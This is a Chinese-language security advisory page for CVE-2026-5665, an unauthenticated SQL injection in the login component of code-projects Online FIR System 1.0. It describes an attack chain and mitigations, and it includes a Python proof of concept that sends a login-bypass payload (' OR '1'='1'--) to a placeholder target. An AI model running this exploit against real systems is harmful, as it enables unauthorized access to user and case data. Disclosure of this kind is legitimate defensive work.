IPBUF安全漏洞报告
English
CVE-2026-5665 CVSS 7.3 高危

CVE-2026-5665 Online FIR System SQL注入漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-5665
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
code-projects Online FIR System

相关标签

SQL注入Online FIR SystemWeb安全远程代码执行认证绕过

漏洞概述

code-projects Online FIR System 1.0版本中存在严重的安全漏洞,漏洞被分配编号CVE-2026-5665。该漏洞位于登录组件的/Login/checklogin.php文件处理逻辑中,由于对用户提交的email和password参数缺乏严格的输入验证和过滤,导致应用程序容易受到SQL注入攻击。攻击者无需经过身份认证即可远程利用此漏洞,通过发送特制的恶意HTTP请求执行任意SQL命令。这可能导致敏感数据库信息泄露、数据完整性受损以及系统可用性降低,对用户数据安全造成极高风险。

技术细节

该漏洞的根本原理在于应用程序未对用户输入进行有效过滤即直接拼接到SQL查询语句中。具体而言,在`/Login/checklogin.php`文件的处理逻辑中,程序接收用户通过POST表单提交的`email`和`password`参数,并将其直接嵌入到动态构造的SQL查询命令里。由于缺乏使用预处理语句或严格的输入清洗机制,攻击者可以在参数值中注入SQL元字符(如单引号`'`或注释符`--`)。攻击者可以利用这一缺陷,构造包含布尔盲注、联合查询或时间盲注的Payload。例如,通过在email字段输入`' OR '1'='1`,可以绕过登录逻辑验证。根据CVSS 3.1评分向量,该漏洞攻击复杂度低且无需特权,攻击者可远程发起攻击。利用此漏洞,攻击者不仅能够绕过认证机制非法登录系统,还能进一步提取数据库中的用户信息、报警记录等敏感数据,甚至通过特定数据库扩展执行系统命令,完全控制受影响的应用服务器及数据库。

攻击链分析

STEP 1
侦察阶段
攻击者通过网络扫描或搜索引擎发现运行code-projects Online FIR System 1.0的目标服务器,并确认其/Login/checklogin.php接口可访问。
STEP 2
漏洞探测
攻击者向目标接口发送包含特殊字符(如单引号)的测试数据,观察服务器响应是否出现数据库报错或行为异常,从而确认存在SQL注入漏洞。
STEP 3
漏洞利用
攻击者构造恶意的SQL注入Payload(例如布尔盲注或联合查询语句),并将其放入email或password参数中发送给服务器,执行恶意的SQL命令。
STEP 4
达成目标
利用漏洞绕过身份验证直接登录后台管理系统,或者提取数据库中的敏感信息(如用户凭证、案件记录),甚至获取服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_url = "http://target-ip/Online_FIR_System/Login/checklogin.php" # SQL Injection Payload to bypass login (example) # This payload attempts to make the SQL query always return true payload_data = { "email": "' OR '1'='1'--", "password": "anypassword" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: # Sending POST request to the vulnerable endpoint response = requests.post(target_url, data=payload_data, headers=headers, timeout=10) # Analyzing response to check if exploitation was successful if response.status_code == 200 and ("dashboard" in response.text.lower() or "welcome" in response.text.lower()): print("[+] Vulnerability exploited successfully! Login bypassed.") elif "error" in response.text.lower() or response.status_code == 500: print("[-] Potential SQL syntax error detected, check payload.") else: print("[!] Exploit sent, but could not confirm bypass. Check response manually.") print(f"Response Length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}")

影响范围

code-projects Online FIR System 1.0

防御指南

临时缓解措施
建议立即检查系统中的`/Login/checklogin.php`文件代码,修改SQL查询逻辑。在连接数据库并执行查询前,对所有用户输入(特别是email和password字段)进行严格的类型检查和过滤。最有效的缓解措施是使用参数化查询或预处理语句来替代字符串拼接。此外,应限制数据库用户的权限,避免使用root或sa等高权限账户连接数据库,并部署Web应用防火墙(WAF)以拦截常见的SQL注入攻击流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表